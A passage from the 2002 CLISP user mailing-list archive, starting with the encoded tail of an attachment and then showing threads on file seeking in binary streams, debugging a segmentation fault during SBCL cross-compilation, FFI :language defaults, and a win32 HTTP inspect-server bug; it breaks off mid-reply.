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 --9jxsPFA5p3P2qPhR-- From jdoolin@cs.ohiou.edu Mon Apr 22 14:06:25 2002 Received: from oak.cats.ohiou.edu ([132.235.8.44]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16zl0y-0001TI-00 for ; Mon, 22 Apr 2002 14:06:24 -0700 Received: from zeus.homelinux.com (dhcp-160-248.east-green.ohiou.edu [132.235.160.248]) by oak.cats.ohiou.edu (8.12.0.Beta19/8.12.0.Beta19) with ESMTP id g3ML52HZ039923 for ; Mon, 22 Apr 2002 17:05:02 -0400 (EDT) From: Jeremy Doolin To: clisp-list@lists.sourceforge.net Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-GJn2DHo/QUYg6kAhtZTd" X-Mailer: Ximian Evolution 1.0.3.99 Message-Id: <1019509582.13512.89.camel@zeus> Mime-Version: 1.0 Subject: [clisp-list] File 'seek'ing Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 22 14:07:03 2002 X-Original-Date: 22 Apr 2002 17:06:22 -0400 --=-GJn2DHo/QUYg6kAhtZTd Content-Type: text/plain Content-Transfer-Encoding: quoted-printable I was wondering if there is a way to change your position in a file when reading to and writing from the file? something similar to the 'seek' functions in C. By the way, I'd like to mention that I'm using a binary I/O stream and read/write-byte for I/O functions. =20 So I'd like to be able to: (let ((foo (open "myfile" :element-type '(unsigned-byte 8) :direction :input))) (seek foo 45) ;;; move ahead 45 bytes (read foo) ...) Any advice? Jeremy Doolin --=20 May all your disgraces be private --=-GJn2DHo/QUYg6kAhtZTd Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA8xHtNB8Bt+2K9+/4RAqBcAJ41MepqkaTzEqrtJRreE7xajWitNwCeNS8k iQkRFn2p2EcocVaf0kfseKo= =8ri0 -----END PGP SIGNATURE----- --=-GJn2DHo/QUYg6kAhtZTd-- From edi@agharta.de Mon Apr 22 14:38:06 2002 Received: from bird.agharta.de ([62.159.208.85]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 16zlVZ-00063B-00 for ; Mon, 22 Apr 2002 14:38:01 -0700 Received: from bird.agharta.de (localhost [127.0.0.1]) by bird.agharta.de (8.12.2/8.12.2/SuSE Linux 0.6) with ESMTP id g3MLbCFO001364; Mon, 22 Apr 2002 23:37:12 +0200 Received: (from edi@localhost) by bird.agharta.de (8.12.2/8.12.2/Submit) id g3MLb7vD001361; Mon, 22 Apr 2002 23:37:07 +0200 X-Authentication-Warning: bird.agharta.de: edi set sender to edi@agharta.de using -f To: Jeremy Doolin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] File 'seek'ing References: <1019509582.13512.89.camel@zeus> From: Edi Weitz In-Reply-To: <1019509582.13512.89.camel@zeus> Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 22 14:39:03 2002 X-Original-Date: 22 Apr 2002 23:37:07 +0200 Jeremy Doolin writes: > I was wondering if there is a way to change your position in a file when > reading to and writing from the file? something similar to the 'seek' > functions in C. > > By the way, I'd like to mention that I'm using a binary I/O stream and > read/write-byte for I/O functions. > > So I'd like to be able to: > > (let > ((foo (open "myfile" :element-type '(unsigned-byte 8) :direction > :input))) > (seek foo 45) ;;; move ahead 45 bytes > (read foo) > ...) > > Any advice? FILE-POSITION, cf. Edi. From csr21@cam.ac.uk Tue Apr 23 01:10:47 2002 Received: from purple.csi.cam.ac.uk ([131.111.8.4]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16zvNr-0000Pg-00 for ; Tue, 23 Apr 2002 01:10:44 -0700 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by purple.csi.cam.ac.uk with esmtp (Exim 4.04) id 16zvNk-0002fK-00 for clisp-list@lists.sourceforge.net; Tue, 23 Apr 2002 09:10:36 +0100 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.35 #1 (Debian)) id 16zvNT-0000lN-00 for ; Tue, 23 Apr 2002 09:10:19 +0100 To: CLISP Message-ID: <20020423081019.GA2920@cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i From: Christophe Rhodes Subject: [clisp-list] What causes hard exits from clisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 23 01:11:06 2002 X-Original-Date: Tue, 23 Apr 2002 09:10:19 +0100 Hi, I've been progressing in my quest to compile sbcl using clisp (2.28) as a cross-compilation host -- it's picked up several SBCL bugs, and the cross-compiler now runs to the extent of producing about 30 sbcl-style fasls. However, I then get: *** - handle_fault error2 ! address = 0xC0 not in [0x202AB000,0x20975920) ! SIGSEGV cannot be cured. Fault address = 0xC0. Segmentation fault and I'm wondering how to track the cause of this down. It's reproduceable, and I'm happy to try things out, but because of the nature of my "application" I haven't exactly got a small test case :-/ Any ideas? Thanks, Christophe -- Jesus College, Cambridge, CB5 8BL +44 1223 510 299 http://www-jcsu.jesus.cam.ac.uk/~csr21/ (defun pling-dollar (str schar arg) (first (last +))) (make-dispatch-macro-character #\! t) (set-dispatch-macro-character #\! #\$ #'pling-dollar) From Joerg-Cyril.Hoehle@t-systems.com Tue Apr 23 03:27:26 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16zxW7-0002U6-00 for ; Tue, 23 Apr 2002 03:27:24 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 23 Apr 2002 10:17:41 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 23 Apr 2002 10:18:52 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] critique of default-foreign-language Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 23 03:28:03 2002 X-Original-Date: Tue, 23 Apr 2002 10:18:48 +0200 Hi, I'll try to answer shortly, seeking a compromise. I'll drop the long email I've prepared. Sam steingold wrote: > this is accomplished by ensuring that the macroexpansion of DEF-CALL-* > contains a :LANGUAGE arg, whether it was supplied or not. > this is not done now, and it is a bug. > I will try to fix it soon. This is what I understand: So you seem to opt for choice "make :language required". That's ok. So it's ok. Make :language required. As I said yesterday, either of the 3 choices is fine with me. Don't forget that it's not DEF-*-CALL-* that I've griefs with. It's perfectly legal code (so far) like: (CAST foo '(C-FUNCTION ...)) I.e. PARSE-C-TYPE and PARSE-C-FUNCTION, and impnotes must be changed to provide the new behaviour: no :language -> error. However, I realize that your wording "by ensuring ... DEF-CALL-* ... a :LANGUAGE arg, whether it was supplied or not" does not say anything about PARSE-C-TYPE etc. It also does not imply that DEFAULT-FOREIGN-LANGUAGE disappear. But please don't provide pluggable defaults, i.e. drop default-foreign-language. Indeed, when :language becomes required, I fail to see how default-foreign-language is still used. Do I miss something? Proposal: PARSE-C-TYPE, PARSE-C-FUNCTION: no :language -> error DEF-CALL-OUT: no :language -> error DEF-C-CALL-OUT: provides (:language :stdc) to DEF-CALL-OUT, as always DEf-LIB-CALL-OUT (Amiga) adds (:language :STDC) arbitrarily for compatibility? DEF-LIB-CALL-OUT (truly dynamic FFI, if I keep this name): require :language The result is predictable behaviour *in all situations*, with slightly added verbosity for the (supposedly) minority of people doing run-time stuff, as well as more verbosity for the people using DEF-LIB-CALL-OUT, i.e. the new shared library API. Regards, Jorg Hohle. who stills prefers no :language -> :stdc From Joerg-Cyril.Hoehle@t-systems.com Tue Apr 23 06:24:31 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1700HV-0003EY-00 for ; Tue, 23 Apr 2002 06:24:29 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@sourceforge.net; Tue, 23 Apr 2002 15:18:16 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 23 Apr 2002 15:19:29 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] broken http inspect server on win32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 23 06:25:08 2002 X-Original-Date: Tue, 23 Apr 2002 15:19:18 +0200 Hi, >please try the appended patch. >keep-alive was disabled since it requires computing the content-length >in characters which is hard to achieve due to CR/LF &c. Then the HTTP header becomes part of the displayed text. Furthermore, Netscape says 2 bytes read (I see much more in the window) and the animation shows that it's still trying to load something. HTTP/1.0 200 OK Content-type: text/html Content-length: 1061 Connection: keep-alive atom type: PACKAGE class: #1=# # > you are not using the "reply" feature of your mailer (or it > is broken), It may well be. It's MS-Outlook. Here I hit "reply to all" -- does it work? Don't ask me to use another mailer. There are lots of things which I cannot change in the company I'm working at. Fours years ago, when I came to it, I accepted to have to sit in front of a PeeCee (after >10 years experience with nicer systems). There were other freedoms for compensation. I'm sorry, I didn't find a "set line-length to 72 or some such" in this stupid mailer (MS-Outlook 2000). I believe I had seen one in the previous one (MS-Outlook-97). So I've been adding line-breaks by hand lately. Regards, Jorg Hohle. From samuel.steingold@verizon.net Tue Apr 23 06:30:11 2002 Received: from out018pub.verizon.net ([206.46.170.96] helo=out018.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1700Mz-0004CJ-00 for ; Tue, 23 Apr 2002 06:30:09 -0700 Received: from gnu.org ([151.203.30.83]) by out018.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020423133007.CYSU2479.out018.verizon.net@gnu.org>; Tue, 23 Apr 2002 08:30:07 -0500 To: Christophe Rhodes Cc: CLISP Subject: Re: [clisp-list] What causes hard exits from clisp? References: <20020423081019.GA2920@cam.ac.uk> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020423081019.GA2920@cam.ac.uk> Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 23 06:31:03 2002 X-Original-Date: 23 Apr 2002 09:30:11 -0400 > * In message <20020423081019.GA2920@cam.ac.uk> > * On the subject of "[clisp-list] What causes hard exits from clisp?" > * Sent on Tue, 23 Apr 2002 09:10:19 +0100 > * Honorable Christophe Rhodes writes: > > *** - handle_fault error2 ! address = 0xC0 not in [0x202AB000,0x20975920) ! > SIGSEGV cannot be cured. Fault address = 0xC0. > Segmentation fault create the Makefile by giving makemake a "debug" argument, then edit CFLAGS in Makefile to your taste, then remake. then use gdb to debug the crash. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Read, think and remember! Warning! Dates in calendar are closer than they appear! From samuel.steingold@verizon.net Tue Apr 23 06:46:03 2002 Received: from out016pub.verizon.net ([206.46.170.92] helo=out016.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1700cL-0006Fv-00 for ; Tue, 23 Apr 2002 06:46:01 -0700 Received: from gnu.org ([151.203.30.83]) by out016.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020423134555.IBKN8115.out016.verizon.net@gnu.org>; Tue, 23 Apr 2002 08:45:55 -0500 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] critique of default-foreign-language References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 30 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 23 06:47:14 2002 X-Original-Date: 23 Apr 2002 09:46:00 -0400 I am sorry, but I do not understand a single word of what you are saying. (Remember, English is a second language for both of us!) Could you please re-state briefly why you don't like the current system? Specifically, how is it different from *PACKAGE* & IN-PACKAGE. > * In message > * On the subject of "[clisp-list] critique of default-foreign-language" > * Sent on Tue, 23 Apr 2002 10:18:48 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Sam steingold wrote: > > this is accomplished by ensuring that the macroexpansion of DEF-CALL-* > > contains a :LANGUAGE arg, whether it was supplied or not. > > this is not done now, and it is a bug. > > I will try to fix it soon. > > So you seem to opt for choice "make :language required". That's ok. nope. > DEf-LIB-CALL-OUT (Amiga) adds (:language :STDC) arbitrarily for compatibility? > DEF-LIB-CALL-OUT (truly dynamic FFI, if I keep this name): require :language wouldn't these be gone when all the FFI goes dynamic? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Read, think and remember! All generalizations are wrong. Including this. From peter.wood@worldonline.dk Tue Apr 23 07:18:33 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17017n-0002FQ-00 for ; Tue, 23 Apr 2002 07:18:31 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id BB3F0B645 for ; Tue, 23 Apr 2002 16:18:02 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g3NDLfP00181; Tue, 23 Apr 2002 15:21:41 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] What causes hard exits from clisp? Message-ID: <20020423152141.B134@localhost.localdomain> References: <20020423081019.GA2920@cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020423081019.GA2920@cam.ac.uk>; from csr21@cam.ac.uk on Tue, Apr 23, 2002 at 09:10:19AM +0100 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 23 07:19:05 2002 X-Original-Date: Tue, 23 Apr 2002 15:21:41 +0200 Hi, On Tue, Apr 23, 2002 at 09:10:19AM +0100, Christophe Rhodes wrote: > Hi, > > I've been progressing in my quest to compile sbcl using clisp (2.28) as a > cross-compilation host -- it's picked up several SBCL bugs, and the > cross-compiler now runs to the extent of producing about 30 sbcl-style > fasls. However, I then get: > > *** - handle_fault error2 ! address = 0xC0 not in [0x202AB000,0x20975920) ! > SIGSEGV cannot be 